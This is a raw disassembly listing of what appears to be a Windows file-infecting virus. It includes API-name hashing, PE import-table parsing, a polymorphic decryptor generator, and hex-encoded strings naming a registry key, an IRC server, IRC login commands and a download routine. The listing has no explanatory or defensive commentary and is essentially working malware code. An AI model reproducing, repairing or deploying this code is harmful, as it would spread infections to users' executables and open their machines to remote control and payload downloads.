aLoadlibrarya db 'LoadLibraryA',0
aMapviewoffile db 'MapViewOfFile',0
aOpenfilemappin db 'OpenFileMappingA',0
aOpenprocess db 'OpenProcess',0
aProcess32fir_0 db 'Process32First',0
aProcess32nex_0 db 'Process32Next',0
aSetfileattribu db 'SetFileAttributesA',0
aSetfiletime db 'SetFileTime',0
aSleep db 'Sleep',0
aSystemtimetofi db 'SystemTimeToFileTime',0
aUnmapviewoffil db 'UnmapViewOfFile',0
aVirtualalloc db 'VirtualAlloc',0
aWritefile db 'WriteFile',0
aNtadjustprivil db 'NtAdjustPrivilegesToken',0
aNtcreatefile db 'NtCreateFile',0
aNtcreateproces db 'NtCreateProcess',0
aNtcreateproc_0 db 'NtCreateProcessEx',0
aNtcreatesectio db 'NtCreateSection',0
aNtmapviewofsec db 'NtMapViewOfSection',0
aNtopenfile db 'NtOpenFile',0
aNtopenprocesst db 'NtOpenProcessToken',0
aNtprotectvirtu db 'NtProtectVirtualMemory',0
aNtwritevirtual db 'NtWriteVirtualMemory',0
aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0
aWsastartup_0 db 'WSAStartup',0
aClosesocket_0 db 'closesocket',0
aConnect_0 db 'connect',0
aGethostbynam_0 db 'gethostbyname',0
aRecv_0 db 'recv',0
aSend_0 db 'send',0
aSocket_0 db 'socket',0
aInternetclos_0 db 'InternetCloseHandle',0
aInternetgetc_1 db 'InternetGetConnectedState',0
aInternetopen_0 db 'InternetOpenA',0
aInternetopen_1 db 'InternetOpenUrlA',0
aInternetread_0 db 'InternetReadFile',0
aAdvapi32_dll_0 db 'ADVAPI32.DLL',0
aRegclosekey_0 db 'RegCloseKey',0
aRegopenkeyex_0 db 'RegOpenKeyExA',0
aRegqueryvalu_0 db 'RegQueryValueExA',0
aRegsetvaluee_0 db 'RegSetValueExA',0
; =============== S U B R O U T I N E =======================================
sub_47C95B proc near ; CODE XREF: .adata:0047CA02p
; .adata:0047CA13p ...
var_5 = byte ptr -5
sub ecx, 5
sub ecx, eax
push ecx
push 0E8000000h
lea ecx, [esp+8+var_5]
push 0
push 5
push ecx
push eax
push ebx
push 5
mov ecx, esp
push eax
mov edx, esp
push eax
push esp
push 40h
push ecx
push edx
push ebx
call dword ptr [ebp+4035F0h]
add esp, 0Ch
call dword ptr [ebp+4035F4h]
add esp, 8
retn
sub_47C95B endp
; ---------------------------------------------------------------------------
push edi
lea eax, [ebp+4015B1h]
xor edi, edi
push eax
push 0
push 0Eh
call dword ptr [ebp+4035A4h]
test eax, eax
jz loc_47CA3E
push eax
push 69CEh
mov edx, esp
push 0
mov ecx, esp
push 40h
push 100000h
push 2
push edx
push 0
push 69CEh
push 0
push ecx
push ebx
push eax
call dword ptr [ebp+4035E4h]
pop edi
pop ecx
call dword ptr ss:loc_40353C[ebp]
test edi, edi
jz short loc_47CA3E
mov ecx, [ebp+401588h]
jecxz short loc_47C9F6
lea edx, sub_401000[ebp]
add edx, ecx
push edi
push ebx
call edx
loc_47C9F6: ; CODE XREF: .adata:0047C9E8j
mov eax, dword ptr ss:loc_4035D4[ebp]
lea ecx, [edi+2394h]
call sub_47C95B
mov eax, [ebp+4035E8h]
lea ecx, [edi+23E1h]
call sub_47C95B
mov eax, [ebp+4035D8h]
lea ecx, [edi+23E8h]
call sub_47C95B
mov eax, [ebp+4035DCh]
test eax, eax
jz short loc_47CA3E
lea ecx, [edi+23F5h]
call sub_47C95B
loc_47CA3E: ; CODE XREF: .adata:0047C9A8j
; .adata:0047C9E0j ...
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
push ebp
call $+5
pop ebp
sub ebp, 401A14h
xor ecx, ecx
lea eax, [ebp+401DAEh]
push ecx
push esp
push ecx
push ecx
push eax
push ecx
push ecx
call dword ptr ss:loc_40356C[ebp]
xchg eax, [esp]
call dword ptr ss:loc_40353C[ebp]
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 55h, 0E8h, 0
dd 5D000000h, 1A43ED81h, 0FF6A0040h, 1A0E958Dh, 52500040h
dd 2420CDh, 0C483002Ah, 85C7660Ch, 401A54h, 85C720CDh
dd 401A56h, 2A0024h, 16AC35Dh, 33FF016Ah, 0FF0473FFh, 74C08515h
dd 0B68F0h, 0D08B0000h, 3C50035Bh, 1A72B58Dh, 0BA8B0040h
dd 10Ch, 1088A8Bh, 0F8030000h, 8B60CB2Bh, 61A6F3CBh, 0E2470574h
dd 83C2EBF5h, 8B570FC7h, 0CC8B53D4h, 406A5450h, 0FF6A5251h
dd 35F095FFh, 0C4830040h, 74958B0Ch, 2B004035h, 7EA83D7h
dd 6A07C7h, 578900E8h, 1A6AC303h, 9E858h, 428D0000h, 0C9FEAA61h
db 75h, 0F0h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_47CB23 proc near ; CODE XREF: sub_47D38E+1Bp
; sub_47D506+3p ...
imul edx, dword ptr ss:loc_403646[ebp], 8088405h
inc edx
mov dword ptr ss:loc_403646[ebp], edx
mul edx
retn
sub_47CB23 endp
; ---------------------------------------------------------------------------
db 55h
dd 0E8h, 0ED815D00h, 401B09h, 364A9D8Bh, 7C830040h, 0F000824h
dd 0B984h, 8EC8100h, 54000002h, 10468h, 9095FF00h, 8B004035h
dd 24848DFCh, 104h, 0E8006A50h, 4, 545256h, 8C95FF57h
dd 33004035h, 4978DC9h, 51000001h, 51026A51h, 68016Ah
dd 52400000h, 355C95FFh, 85960040h, 505B74F6h, 1046854h
dd 0FF570000h, 22024B4h, 95FF0000h, 403628h, 74C08559h
dd 5014E316h, 6AD48Bh, 56575152h, 35CC95FFh, 85590040h
dd 56D075C0h, 353C95FFh, 578D0040h, 6A575244h, 978D5844h
dd 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h, 356495FFh
dd 0C4810040h, 208h, 82474FFh, 361895FFh, 0FF530040h, 40361895h
dd 4C25D00h, 0A3E8000h, 8B460175h, 4015848Dh, 8D19E300h
dd 40100095h, 56D10300h, 0C084D2FFh, 11F880Fh, 840F0000h
dd 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h, 0F175203Eh
dd 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h, 6A51CEh
dd 0FF535651h, 40361095h, 0C13B5900h, 0DF850Fh, 858D0000h
dd 401DA2h, 0C68006Ah, 50000000h, 1095FF53h, 3D004036h
dd 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh, 0A5850F56h
dd 83000000h, 3CAC08C6h, 99840F0Dh, 3C000000h, 0ACF37520h
dd 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h, 203CAC7Fh
dd 7E817C75h, 746820FFh, 81717574h, 3A70037Eh, 68752F2Fh
dd 0FF47C6h, 10BA310Fh, 0F7000027h, 95FF52E2h, 4035BCh
dd 5050C033h, 9E85050h, 44000000h, 6C6E776Fh, 64616Fh
dd 362095FFh, 0C0850040h, 0C9333674h, 364A8589h, 68510040h
dd 80000200h, 50565151h, 362495FFh, 958D0040h, 401B03h
dd 54C93350h, 51525051h, 6C95FF51h, 87004035h, 95FF2404h
dd 40353Ch, 8D80C3F8h, 401577h, 53C3F901h, 5754464Fh, 5C455241h
dd 7263694Dh, 666F736Fh, 69575C74h, 776F646Eh, 75435C73h
dd 6E657272h, 72655674h, 6E6F6973h, 7078455Ch, 65726F6Ch
dd 61540072h, 74656772h, 74736F48h, 0FF000200h, 8F7255F0h
dd 6F7270D0h, 2E6D6978h, 67637269h, 78616C61h, 6C702E79h
dd 43494E00h, 6361204Bh, 6367727Ah, 550A7666h, 20524553h
dd 30323062h, 20303035h, 202E202Eh, 4F4A2D3Ah, 26204E49h
dd 74726976h, 0E8550A75h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, offset loc_401DB4
mov byte ptr [ebp+401577h], 0
call dword ptr [ebp+403594h]
shr eax, 1Fh
jz short loc_47CE3D
push 1Eh
mov esi, [ebp+403550h]
pop ecx
loc_47CE0A: ; CODE XREF: .adata:loc_47CE39j
lodsb
cmp al, 2Eh
jnz short loc_47CE39
cmp word ptr [esi], 1DFFh
jnz short loc_47CE39
lea edi, loc_403640[ebp]
mov esi, [esi+2]
push edi
movsd
movsw
lea eax, loc_40336A[ebp]
pop dword ptr [ebp+403390h]
cli
mov [esi-6], eax
mov word ptr [esi-2], cs
sti
mov cl, 1
loc_47CE39: ; CODE XREF: .adata:0047CE0Dj
; .adata:0047CE14j
loop loc_47CE0A
jmp short loc_47CE80
; ---------------------------------------------------------------------------
loc_47CE3D: ; CODE XREF: .adata:0047CDFFj
lea eax, [ebp+4015B1h]
push eax
push 0
push 0Eh
call dword ptr [ebp+4035A4h]
cmp dword ptr [esp+8], 4
jnz short loc_47CE80
call near ptr loc_47CE5D+1
push ebx
inc esi
inc ebx
loc_47CE5D: ; CODE XREF: .adata:0047CE55p
add bh, bh
xchg eax, ebp
mov ds:48E80040h, dh
cld
; ---------------------------------------------------------------------------
db 0FFh
dd 7E8FFh, 46530000h, 534F5F43h, 8895FF00h, 0E8004035h
dd 0FFFFFC31h
; ---------------------------------------------------------------------------
loc_47CE80: ; CODE XREF: .adata:0047CE3Bj
; .adata:0047CE53j
call sub_47C1DB
dec dword ptr [ebp+401303h]
call near ptr loc_47CE9A+1
push ebp
push ebx
inc ebp
push edx
xor esi, [edx]
db 2Eh
inc esp
dec esp
dec esp
loc_47CE9A: ; CODE XREF: .adata:0047CE8Bp
add bh, bh
xchg eax, ebp
pushf
xor eax, 0AE80040h
; ---------------------------------------------------------------------------
db 0
dd 73770000h, 6E697270h, 416674h, 4895FF50h, 89004035h
dd 40355485h, 8D310F00h, 4018E08Dh, 46858900h, 51004036h
dd 359C95FFh, 68930040h, 4, 18EDB58Dh, 8D590040h, 40362CBDh
dd 0F6D6E800h, 0C766FFFFh, 401D6785h, 83F0FF00h, 401D69A5h
dd 958D0000h, 401D27h, 16A5450h, 6852006Ah, 80000002h
dd 363095FFh, 0C0850040h, 8D22755Ah, 401D5A8Dh, 66A5200h
dd 1D67B58Dh, 56540040h, 52515050h, 363495FFh, 0FF580040h
dd 40362C95h, 4D85C600h, 4038h, 0CE8h, 4F535700h, 32334B43h
dd 4C4C442Eh, 9C95FF00h, 93004035h, 768h, 44B58D00h, 59004018h
dd 35FCBD8Dh, 51E80040h, 0E8FFFFF6h, 0Ch, 494E4957h, 2E54454Eh
dd 4C4C44h, 359C95FFh, 0C0850040h, 1E7840Fh, 68930000h
dd 5, 1882B58Dh, 8D590040h, 403618BDh, 0F61AE800h, 0BD83FFFFh
dd 40361Ch, 0C2840F00h, 81000001h, 190ECh, 1685400h, 0FF000001h
dd 4035FC95h, 90C48100h, 50000001h, 6AD48Bh, 1C95FF52h
dd 85004036h, 0D7559C0h, 138868h, 0BC95FF00h, 0EB004035h
dd 69BD83E2h, 401Dh, 858D2975h, 401D6Dh, 895FF50h, 85004036h
dd 3B840FC0h, 8B000001h, 8B0C40h, 858F30FFh, 401D69h, 384D85C6h
dd 6A010040h, 6A016A00h, 1495FF02h, 83004036h, 840FFFF8h
dd 112h, 65958D93h, 6A00401Dh, 0FF535210h, 40360495h, 0FC08500h
dd 0F285h, 86BD8D00h, 0B100401Dh, 0FABCE808h, 9468FFFFh
dd 5E000000h, 3489E62Bh, 95FF5424h, 403598h, 1D94BD8Dh
dd 1B10040h, 0FFFA9DE8h, 24448BFFh, 8E0C110h, 424440Bh
dd 0B08E0C1h, 50082444h, 5E8h, 362E2500h, 0FF570078h, 40355495h
dd 0CC48300h, 200647C6h, 1D81958Dh, 6A0040h, 2168h, 0FF535200h
dd 40361095h, 247C8D00h, 95FF5714h, 403558h, 0A3804C6h
dd 50006A40h, 95FF5357h, 403610h, 0BD8DE603h, 401DA2h
dd 0C68006Ah, 57000000h, 1095FF53h, 3D004036h, 0Ch, 0B58D4D75h
dd 40364Eh, 384D8D8Dh, 0CE2B0040h, 5651006Ah, 0C95FF53h
dd 83004036h, 2F7E00F8h, 8DFE8B91h, 40364EB5h, 0F20DB000h
dd 601075AEh, 0FFFAF8E8h, 177261FFh, 778D09E3h, 8BEAEB01h
dd 8DCE2BCFh, 40364EBDh, 87A4F300h, 53B9EBF7h, 360095FFh
dd 0BD800040h, 401577h, 682A7401h, 7530h, 35BC95FFh, 0BD800040h
dd 40384Dh, 0C7117400h, 401D6985h, 0
dd 4D85C600h, 4038h, 0FFFE56E9h, 8085C7FFh, 4015h, 5D800000h
dd 0D0004C2h, 6E204F0Ah, 206E6F6Fh, 6C20666Fh, 21656669h
dd 74204F20h, 20656D69h, 63206F74h, 62656C65h, 65746172h
dd 200A0D21h, 20202020h, 7573204Fh, 72656D6Dh, 72616720h
dd 216E6564h, 65520A0Dh, 746E656Ch, 7373656Ch, 6820796Ch
dd 79707061h, 646E6120h, 70786520h, 61746365h, 202C746Eh
dd 6E617473h, 676E6964h, 0D2D203Ah, 7461570Ah, 6E696863h
dd 6C612067h, 6164206Ch, 6E612079h, 696E2064h, 2C746867h
dd 726F6620h, 69726620h, 73646E65h, 77204920h, 3A746961h
dd 68570A0Dh, 20657265h, 20657261h, 2C756F79h, 69726620h
dd 73646E65h, 6F43203Fh, 2021656Dh, 69207449h, 69742073h
dd 2021656Dh, 73277449h, 74616C20h, 0A0D2165h, 30C78404h
dd 50B7AB4h, 6299AD47h, 40375248h, 10A61429h, 4FD479EDh
dd 10A61413h, 0D8B8B352h, 27B1FAE5h, 606EF96Ah, 1A73C17Eh
dd 0C26CCC5Ch, 3AAB5957h, 12h dup(0)
dd 0D54355D1h
; =============== S U B R O U T I N E =======================================
sub_47D2D8 proc near ; CODE XREF: sub_47D31F:loc_47D37Cp
; sub_47D3DF+7p ...
arg_0 = dword ptr 4
pusha
and dword ptr ss:loc_4039A6[ebp], 0
and dword ptr [ebp+4039AAh], 0
movzx eax, word ptr [ebx+14h]
lea edx, [ebx+18h]
movzx ecx, word ptr [ebx+6]
add edx, eax
loc_47D2F4: ; CODE XREF: sub_47D2D8+41j
mov eax, [esp+20h+arg_0]
sub eax, [edx+0Ch]
jb short loc_47D316
cmp eax, [edx+8]
jnb short loc_47D316
mov eax, [edx+14h]
sub eax, [edx+0Ch]
mov dword ptr ss:loc_4039A6[ebp], edx
mov [ebp+4039AAh], eax
jmp short loc_47D31B
; ---------------------------------------------------------------------------
loc_47D316: ; CODE XREF: sub_47D2D8+23j
; sub_47D2D8+28j
add edx, 28h
loop loc_47D2F4
loc_47D31B: ; CODE XREF: sub_47D2D8+3Cj
popa
retn 4
sub_47D2D8 endp
; =============== S U B R O U T I N E =======================================
sub_47D31F proc near ; CODE XREF: .adata:0047D64Bp
; .adata:0047D671p
mov byte ptr ss:loc_4022F7[ebp], al
call sub_47D38E
push 20h
lea eax, [ebp+402224h]
pop ecx
loc_47D336: ; CODE XREF: sub_47D31F+1Ej
cmp [eax], ebx
jz short loc_47D346
add eax, 4
loop loc_47D336
inc dword ptr [ebp+40398Eh]
retn
; ---------------------------------------------------------------------------
loc_47D346: ; CODE XREF: sub_47D31F+19j
neg ecx
add ecx, dword ptr ss:loc_4022F7[ebp]
jecxz short loc_47D360
loc_47D350: ; CODE XREF: sub_47D31F+39j
push dword ptr [eax-4]
pop dword ptr [eax]
sub eax, 4
loop loc_47D350
mov [ebp+402224h], ebx
loc_47D360: ; CODE XREF: sub_47D31F+2Fj
; sub_47D38E+34j
cmp dword ptr [edx], 0
jz short loc_47D36A
sub esi, [edx]
add esi, [edx+10h]
loc_47D36A: ; CODE XREF: sub_47D31F+44j
lea ecx, [esi-4]
pop eax
pop ebx
pop esi
cmp dword ptr [edx], 0
jz short loc_47D379
push dword ptr [edx]
jmp short loc_47D37C
; ---------------------------------------------------------------------------
loc_47D379: ; CODE XREF: sub_47D31F+54j
push dword ptr [edx+10h]
loc_47D37C: ; CODE XREF: sub_47D31F+58j
call sub_47D2D8
sub ecx, esi
sub ecx, [ebp+4039AAh]
pop eax
add ecx, [ebx+34h]
retn
sub_47D31F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_47D38E proc near ; CODE XREF: sub_47D31F+6p
pop dword ptr ss:loc_403992[ebp]
mov dword ptr [ebp+40398Eh], 0
call sub_47D3DF
mov eax, [ebp+40398Eh]
call sub_47CB23
call sub_47D3CB
cmp dword ptr [ebp+40398Eh], 0
jnz short loc_47D3C4
mov [ebp+4022A0h], ebx
jmp short loc_47D360
; ---------------------------------------------------------------------------
loc_47D3C4: ; CODE XREF: sub_47D38E+2Cj
dec dword ptr [ebp+40398Eh]
retn
sub_47D38E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_47D3CB proc near ; CODE XREF: sub_47D38E+20p
pop dword ptr ss:loc_403992[ebp]
mov [ebp+40398Eh], edx
call sub_47D3DF
xor ecx, ecx
retn
sub_47D3CB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_47D3DF proc near ; CODE XREF: sub_47D38E+10p
; sub_47D3CB+Cp ...
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov edx, [ebx+80h]
push edx
call sub_47D2D8
add edx, [ebp+4039AAh]
add edx, esi
loc_47D3F3: ; CODE XREF: sub_47D3DF+120j
cmp dword ptr [edx+0Ch], 0
jz locret_47D504
cmp dword ptr [edx+10h], 0
jz locret_47D504
mov eax, [edx+0Ch]
push eax
call sub_47D2D8
add eax, [ebp+4039AAh]
add eax, esi
push eax
loc_47D419: ; CODE XREF: sub_47D3DF+47j
mov cl, [eax]
cmp cl, 0
jz short loc_47D439
cmp cl, 2Eh
jz short loc_47D428
loc_47D425: ; CODE XREF: sub_47D3DF+58j
inc eax
jmp short loc_47D419
; ---------------------------------------------------------------------------
loc_47D428: ; CODE XREF: sub_47D3DF+44j
mov ecx, [eax+1]
and ecx, 0DFDFDFDFh
cmp ecx, 4C4C44h
jnz short loc_47D425
loc_47D439: ; CODE XREF: sub_47D3DF+3Fj
pop ecx
sub ecx, eax
cmp ecx, 0FFFFFFFAh
jg loc_47D4FC
cmp word ptr [eax-2], 3233h
jnz loc_47D4FC
push esi
cmp dword ptr [edx], 0
jnz short loc_47D45C
mov ecx, [edx+10h]
jmp short loc_47D45E
; ---------------------------------------------------------------------------
loc_47D45C: ; CODE XREF: sub_47D3DF+76j
mov ecx, [edx]
loc_47D45E: ; CODE XREF: sub_47D3DF+7Bj
add esi, ecx
push ecx
call sub_47D2D8
add esi, [ebp+4039AAh]
loc_47D46C: ; CODE XREF: sub_47D3DF+90j
; sub_47D3DF+117j
lodsd
test eax, eax
js short loc_47D46C
jz loc_47D4FB
push dword ptr [ebp+4039AAh]
push eax
call sub_47D2D8
add eax, [ebp+4039AAh]
pop dword ptr [ebp+4039AAh]
add eax, [esp+4+var_4]
push ebx
add eax, 2
xor ebx, ebx
loc_47D498: ; CODE XREF: sub_47D3DF+CEj
movzx ecx, byte ptr [eax]
jecxz short loc_47D4AF
or cl, 20h
push ebx
shl [esp+0Ch+var_C], 4
sub [esp+0Ch+var_C], ebx
sub [esp+0Ch+var_C], ecx
pop ebx
inc eax
jmp short loc_47D498
; ---------------------------------------------------------------------------
loc_47D4AF: ; CODE XREF: sub_47D3DF+BCj
cmp ebx, 0DDBBD70Fh
jz short loc_47D4F5
cmp ebx, 0DB6E45A8h
jz short loc_47D4F5
cmp ebx, 0FFA13B59h
jz short loc_47D4F5
cmp ebx, 0ACB522D6h
jz short loc_47D4F5
cmp ebx, 0F358E993h
jz short loc_47D4F5
cmp ebx, 0F358E97Dh
jz short loc_47D4F5
cmp ebx, 0E1253F46h
jz short loc_47D4F5
cmp ebx, 0E1253F30h
jz short loc_47D4F5
call dword ptr ss:loc_403992[ebp]
loc_47D4F5: ; CODE XREF: sub_47D3DF+D6j
; sub_47D3DF+DEj ...
pop ebx
jmp loc_47D46C
; ---------------------------------------------------------------------------
loc_47D4FB: ; CODE XREF: sub_47D3DF+92j
pop esi
loc_47D4FC: ; CODE XREF: sub_47D3DF+60j
; sub_47D3DF+6Cj
add edx, 14h
jmp loc_47D3F3
; ---------------------------------------------------------------------------
locret_47D504: ; CODE XREF: sub_47D3DF+18j
; sub_47D3DF+22j
retn
sub_47D3DF endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
sub_47D506 proc near ; CODE XREF: .adata:0047D644p
; .adata:0047D66Ap
push 4
pop eax
call sub_47CB23
mov [ebp+4024D1h], dl
mov ax, 1831h
add ah, dl
shl ah, 3
add ah, dl
stosw
push 6
pop eax
call sub_47CB23
add edx, 8
xchg edx, ecx
loc_47D52E: ; CODE XREF: sub_47D506:loc_47D56Dj
push 5
pop eax
call sub_47CB23
cmp dl, 3
jnb short loc_47D546
mov al, 50h
add al, [ebp+4024D1h]
stosb
jmp short loc_47D56D
; ---------------------------------------------------------------------------
loc_47D546: ; CODE XREF: sub_47D506+33j
push 68h
pop eax
stosb
cmp dl, 3
jnz short loc_47D567
mov al, 11h
call sub_47CB23
mov eax, 1
loc_47D55B: ; CODE XREF: sub_47D506+5Dj
test dl, dl
jz short loc_47D56C
shl eax, 1
dec dl
jmp short loc_47D55B
; ---------------------------------------------------------------------------
jmp short loc_47D56C
; ---------------------------------------------------------------------------
loc_47D567: ; CODE XREF: sub_47D506+47j
mov eax, 80000000h
loc_47D56C: ; CODE XREF: sub_47D506+57j
; sub_47D506+5Fj
stosd
loc_47D56D: ; CODE XREF: sub_47D506+3Ej
loop loc_47D52E
retn
sub_47D506 endp
; ---------------------------------------------------------------------------
loc_47D570: ; CODE XREF: sub_47DFCA+112p
lea edi, loc_40343C[ebp]
test dword ptr ss:loc_403431[ebp], 80000000h
jz short loc_47D585
mov al, 60h
stosb
loc_47D585: ; CODE XREF: .adata:0047D580j
test dword ptr ss:loc_403431[ebp], 1000003h
jz loc_47D68B
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
call near ptr 0BDD18149h
xchg eax, esi
cmp [eax+0], eax
mov al, 0E8h
stosb
stosd
test dword ptr ss:loc_403431[ebp], 1000000h
mov [ebp+40399Ah], edi
jz short loc_47D603
test dword ptr ss:loc_403431[ebp], 2000000h
mov eax, 36FF6467h
jnz short loc_47D5CE
mov eax, 2E8B6467h
loc_47D5CE: ; CODE XREF: .adata:0047D5C7j
stosd
mov ax, 0
stosw
jz short loc_47D5DA
mov al, 5Dh
stosb
loc_47D5DA: ; CODE XREF: .adata:0047D5D5j
test dword ptr ss:loc_403431[ebp], 8000000h
mov eax, 86D8Dh
jnz short loc_47D601
test dword ptr ss:loc_403431[ebp], 4000000h
mov eax, 8C583h
jz short loc_47D601
mov eax, 0F8ED83h
loc_47D601: ; CODE XREF: .adata:0047D5E9j
; .adata:0047D5FAj
stosd
dec edi
loc_47D603: ; CODE XREF: .adata:0047D5B6j
test dword ptr ss:loc_403431[ebp], 3
jz short loc_47D613
mov al, 0E9h
stosb
stosd
loc_47D613: ; CODE XREF: .adata:0047D60Dj
mov eax, dword ptr ss:loc_403996[ebp]
mov ecx, edi
sub ecx, eax
mov [eax-4], ecx
test dword ptr ss:loc_403431[ebp], 3
jz short loc_47D68B
mov eax, 36FF6467h
mov [ebp+40399Eh], edi
stosd
mov eax, 64670000h
stosd
mov eax, 2689h
stosd
call sub_47D506
mov al, 20h
call sub_47D31F
jecxz short loc_47D68B
mov ax, 15FFh
stosw
xchg eax, ecx
stosd
mov edx, dword ptr ss:loc_403431[ebp]
not edx
test edx, 3
jnz short loc_47D67E
call sub_47D506
mov al, 1Fh
call sub_47D31F
mov ax, 15FFh
stosw
xchg eax, ecx
stosd
loc_47D67E: ; CODE XREF: .adata:0047D668j
mov ecx, edi
mov eax, [ebp+40399Eh]
sub ecx, eax
mov [eax-4], ecx
loc_47D68B: ; CODE XREF: .adata:0047D58Fj
; .adata:0047D62Aj ...
test dword ptr ss:loc_403431[ebp], 4
jz short loc_47D6A9
mov eax, 0C8FEC029h
stosd
mov eax, 474C008h
stosd
mov eax, 67EBF875h
stosd
loc_47D6A9: ; CODE XREF: .adata:0047D695j
test dword ptr ss:loc_403431[ebp], 8
jnz short loc_47D6FF
cmp byte ptr ss:loc_40342F[ebp], 0
jz short loc_47D6FF
mov eax, 0C9291829h
or ah, [ebp+40342Bh]
shl ah, 3
or ah, [ebp+40342Bh]
stosd
mov al, 0B1h
stosb
mov al, byte ptr ss:loc_40342F[ebp]
stosb
mov al, 40h
or al, [ebp+40342Bh]
stosb
mov ax, 0FDE2h
test dword ptr ss:loc_403431[ebp], 10h
jz short loc_47D6FD
mov al, 49h
stosb
mov ax, 0FC75h
loc_47D6FD: ; CODE XREF: .adata:0047D6F4j
stosw
loc_47D6FF: ; CODE XREF: .adata:0047D6B3j
; .adata:0047D6BCj
mov al, 0E8h
stosb
xor eax, eax
stosd
mov dword ptr ss:loc_403982[ebp], edi
test dword ptr ss:loc_403431[ebp], 20h
jnz short loc_47D720
mov al, 58h
or al, byte ptr ss:loc_403429[ebp]
stosb
loc_47D720: ; CODE XREF: .adata:0047D715j
mov ax, 0C081h
test dword ptr ss:loc_403431[ebp], 40h
jz short loc_47D733
add ah, 28h
loc_47D733: ; CODE XREF: .adata:0047D72Ej
or ah, byte ptr ss:loc_403429[ebp]
stosw
mov [ebp+403986h], edi
stosd
test dword ptr ss:loc_403431[ebp], 40000000h
jnz short loc_47D757
mov al, 50h
add al, byte ptr ss:loc_403429[ebp]
stosb
loc_47D757: ; CODE XREF: .adata:0047D74Cj
test dword ptr ss:loc_403431[ebp], 80h
jnz short loc_47D76E
mov al, 0B8h
or al, [ebp+40342Ah]
stosb
jmp short loc_47D7AB
; ---------------------------------------------------------------------------
loc_47D76E: ; CODE XREF: .adata:0047D761j
mov ax, 1831h
test dword ptr ss:loc_403431[ebp], 100h
jz short loc_47D780
mov al, 29h
loc_47D780: ; CODE XREF: .adata:0047D77Cj
or ah, [ebp+40342Ah]
shl ah, 3
or ah, [ebp+40342Ah]
stosw
mov ax, 0F081h
test dword ptr ss:loc_403431[ebp], 200h
jnz short loc_47D7A3
mov ah, 0C8h
loc_47D7A3: ; CODE XREF: .adata:0047D79Fj
or ah, [ebp+40342Ah]
stosw
loc_47D7AB: ; CODE XREF: .adata:0047D76Cj
mov [ebp+4039A2h], edi
mov eax, 243Ch
stosd
test dword ptr ss:loc_403431[ebp], 8
jz short loc_47D82F
test dword ptr ss:loc_403431[ebp], 400h
jnz short loc_47D7DA
mov al, 0B8h
or al, [ebp+40342Bh]
stosb
jmp short loc_47D827
; ---------------------------------------------------------------------------
loc_47D7DA: ; CODE XREF: .adata:0047D7CDj
test dword ptr ss:loc_403431[ebp], 800h
jnz short loc_47D7F7
mov ax, 0E083h
or ah, [ebp+40342Bh]
stosw
xor eax, eax
stosb
jmp short loc_47D80C
; ---------------------------------------------------------------------------
loc_47D7F7: ; CODE XREF: .adata:0047D7E4j
mov ax, 1829h
or ah, [ebp+40342Bh]
shl ah, 3
or ah, [ebp+40342Bh]
stosw
loc_47D80C: ; CODE XREF: .adata:0047D7F5j
test dword ptr ss:loc_403431[ebp], 1000h
mov ax, 0C081h
jz short loc_47D81F
add ah, 8
loc_47D81F: ; CODE XREF: .adata:0047D81Aj
or ah, [ebp+40342Bh]
stosw
loc_47D827: ; CODE XREF: .adata:0047D7D8j
movzx eax, byte ptr ss:loc_40342F[ebp]
stosd
loc_47D82F: ; CODE XREF: .adata:0047D7C1j
test dword ptr ss:loc_403431[ebp], 40000000h
jz short loc_47D844
mov al, 50h
add al, byte ptr ss:loc_403429[ebp]
stosb
loc_47D844: ; CODE XREF: .adata:0047D839j
test dword ptr ss:loc_403431[ebp], 2000h
mov al, 86h
jnz short loc_47D854
add al, 4
loc_47D854: ; CODE XREF: .adata:0047D850j
lea ecx, [edi-2]
mov ah, byte ptr ss:loc_403429[ebp]
mov dword ptr ss:loc_40398A[ebp], ecx
stosw
cmp ah, 5
jnz short loc_47D871
mov al, 0
or byte ptr [edi-1], 40h
stosb
loc_47D871: ; CODE XREF: .adata:0047D868j
test dword ptr ss:loc_403431[ebp], 4000h
mov ax, 3166h
jnz short loc_47D883
mov ah, 29h
loc_47D883: ; CODE XREF: .adata:0047D87Fj
stosw
mov al, 18h
or al, [ebp+40342Bh]
shl al, 3
stosb
mov al, 88h
test dword ptr ss:loc_403431[ebp], 8000h
jnz short loc_47D8A1
mov al, 86h
loc_47D8A1: ; CODE XREF: .adata:0047D89Dj
mov ah, byte ptr ss:loc_403429[ebp]
stosw
cmp ah, 5
jnz short loc_47D8B5
mov al, 0
or byte ptr [edi-1], 40h
stosb
loc_47D8B5: ; CODE XREF: .adata:0047D8ACj
test dword ptr ss:loc_403431[ebp], 10000h
jnz short loc_47D8CC
mov al, 40h
or al, byte ptr ss:loc_403429[ebp]
stosb
jmp short loc_47D8DB
; ---------------------------------------------------------------------------
loc_47D8CC: ; CODE XREF: .adata:0047D8BFj
mov ax, 0C083h
or ah, byte ptr ss:loc_403429[ebp]
stosw
mov al, 1
stosb
loc_47D8DB: ; CODE XREF: .adata:0047D8CAj
test dword ptr ss:loc_403431[ebp], 20000h
jnz short loc_47D916
test dword ptr ss:loc_403431[ebp], 40000h
jnz short loc_47D90D
mov al, 0C0h
or al, [ebp+40342Bh]
mov ah, [ebp+403430h]
shl eax, 10h
mov ax, 8166h
stosd
mov al, 0
jmp short loc_47D915
; ---------------------------------------------------------------------------
loc_47D90D: ; CODE XREF: .adata:0047D8F1j
mov al, 40h
or al, [ebp+40342Bh]
loc_47D915: ; CODE XREF: .adata:0047D90Bj
stosb
loc_47D916: ; CODE XREF: .adata:0047D8E5j
test dword ptr ss:loc_403431[ebp], 80000h
jnz short loc_47D932
mov ax, 0E883h
or ah, [ebp+40342Ah]
stosw
mov al, 1
jmp short loc_47D93A
